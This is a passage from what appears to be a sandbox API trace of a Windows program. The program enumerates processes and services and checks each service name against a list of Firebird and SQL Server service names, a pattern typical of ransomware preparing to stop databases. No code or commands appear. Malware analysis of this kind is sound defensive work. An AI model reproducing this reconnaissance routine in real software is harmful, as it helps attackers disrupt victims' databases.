lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0197.709] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0197.709] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0197.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0197.709] lstrlenW (lpString="PcaSvc") returned 6 [0197.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0197.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0197.709] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0197.709] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0197.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0197.709] lstrlenW (lpString="PlugPlay") returned 8 [0197.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0197.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0197.709] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0197.709] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0197.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0197.709] lstrlenW (lpString="Power") returned 5 [0197.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0197.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0197.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0197.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0197.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0197.828] lstrlenW (lpString="ProfSvc") returned 7 [0197.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0197.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0197.828] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0197.828] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0197.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0197.828] lstrlenW (lpString="RpcEptMapper") returned 12 [0197.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0197.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0197.828] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0197.828] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0197.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0197.828] lstrlenW (lpString="RpcSs") returned 5 [0197.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0197.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0197.829] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0197.829] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0197.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0197.829] lstrlenW (lpString="SamSs") returned 5 [0197.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0197.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0197.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0197.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0197.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0197.829] lstrlenW (lpString="Schedule") returned 8 [0197.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0197.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0197.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0197.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0197.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0197.829] lstrlenW (lpString="SecurityHealthService") returned 21 [0197.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0197.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0197.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0197.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0197.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0197.829] lstrlenW (lpString="SENS") returned 4 [0197.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0197.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0197.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0197.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0197.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0197.830] lstrlenW (lpString="ShellHWDetection") returned 16 [0197.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0197.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0197.830] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0197.830] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0197.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0197.830] lstrlenW (lpString="Spooler") returned 7 [0197.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0197.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0197.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0197.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0197.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0197.830] lstrlenW (lpString="StateRepository") returned 15 [0197.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0197.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0197.830] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0197.830] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0197.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0197.830] lstrlenW (lpString="SysMain") returned 7 [0197.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0197.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0197.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0197.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0197.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0197.831] lstrlenW (lpString="SystemEventsBroker") returned 18 [0197.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0197.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0197.831] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0197.831] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0197.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0197.831] lstrlenW (lpString="Themes") returned 6 [0197.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0197.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0197.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0197.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0197.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0197.831] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0197.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0197.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0197.831] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0197.831] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0197.832] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0197.842] Process32FirstW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.843] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0197.844] lstrlenW (lpString="System") returned 6 [0197.845] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0197.846] lstrlenW (lpString="smss.exe") returned 8 [0197.846] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0197.847] lstrlenW (lpString="csrss.exe") returned 9 [0197.847] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0197.848] lstrlenW (lpString="wininit.exe") returned 11 [0197.848] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0197.849] lstrlenW (lpString="csrss.exe") returned 9 [0197.849] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0197.851] lstrlenW (lpString="winlogon.exe") returned 12 [0197.851] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0197.852] lstrlenW (lpString="services.exe") returned 12 [0197.852] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0197.853] lstrlenW (lpString="lsass.exe") returned 9 [0197.853] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0197.854] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0197.854] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0197.855] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0197.855] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.856] lstrlenW (lpString="svchost.exe") returned 11 [0197.856] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.857] lstrlenW (lpString="svchost.exe") returned 11 [0197.858] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0197.859] lstrlenW (lpString="dwm.exe") returned 7 [0197.859] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.860] lstrlenW (lpString="svchost.exe") returned 11 [0197.860] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.861] lstrlenW (lpString="svchost.exe") returned 11 [0197.861] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.862] lstrlenW (lpString="svchost.exe") returned 11 [0197.862] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.863] lstrlenW (lpString="svchost.exe") returned 11 [0197.863] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.864] lstrlenW (lpString="svchost.exe") returned 11 [0197.864] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.865] lstrlenW (lpString="svchost.exe") returned 11 [0197.865] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.879] lstrlenW (lpString="svchost.exe") returned 11 [0197.879] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.880] lstrlenW (lpString="svchost.exe") returned 11 [0197.880] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.881] lstrlenW (lpString="svchost.exe") returned 11 [0197.881] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.882] lstrlenW (lpString="svchost.exe") returned 11 [0197.882] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0197.883] lstrlenW (lpString="spoolsv.exe") returned 11 [0197.883] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.884] lstrlenW (lpString="svchost.exe") returned 11 [0197.885] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0197.885] lstrlenW (lpString="audiodg.exe") returned 11 [0197.886] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0197.887] lstrlenW (lpString="sihost.exe") returned 10 [0197.887] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.888] lstrlenW (lpString="svchost.exe") returned 11 [0197.888] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0197.889] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0197.889] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0197.890] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0197.890] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0197.891] lstrlenW (lpString="Memory Compression") returned 18 [0197.891] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0197.892] lstrlenW (lpString="taskhostw.exe") returned 13 [0197.892] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0197.893] lstrlenW (lpString="msoia.exe") returned 9 [0197.893] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0197.894] lstrlenW (lpString="explorer.exe") returned 12 [0197.894] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0197.895] lstrlenW (lpString="SearchUI.exe") returned 12 [0197.895] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0197.896] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0197.896] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0197.897] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0197.897] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0197.898] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0197.898] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0197.899] lstrlenW (lpString="wmxsde.exe") returned 10 [0197.899] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0197.900] lstrlenW (lpString="dllhost.exe") returned 11 [0197.900] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0197.901] lstrlenW (lpString="dllhost.exe") returned 11 [0197.901] Process32NextW (in: hSnapshot=0x564, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0197.902] CloseHandle (hObject=0x564) returned 1 [0197.902] Sleep (dwMilliseconds=0x1f4) [0198.470] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f4e8 [0198.471] EnumServicesStatusExW (in: hSCManager=0x459f4e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0198.471] GetLastError () returned 0xea [0198.471] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4663fc0 [0198.472] EnumServicesStatusExW (in: hSCManager=0x459f4e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4663fc0, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4663fc0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0198.473] CloseServiceHandle (hSCObject=0x459f4e8) returned 1 [0198.473] lstrlenW (lpString="Appinfo") returned 7 [0198.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0198.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0198.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0198.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0198.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0198.473] lstrlenW (lpString="AppXSvc") returned 7 [0198.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0198.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0198.473] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0198.473] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0198.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0198.473] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0198.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0198.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0198.473] lstrcmpiW 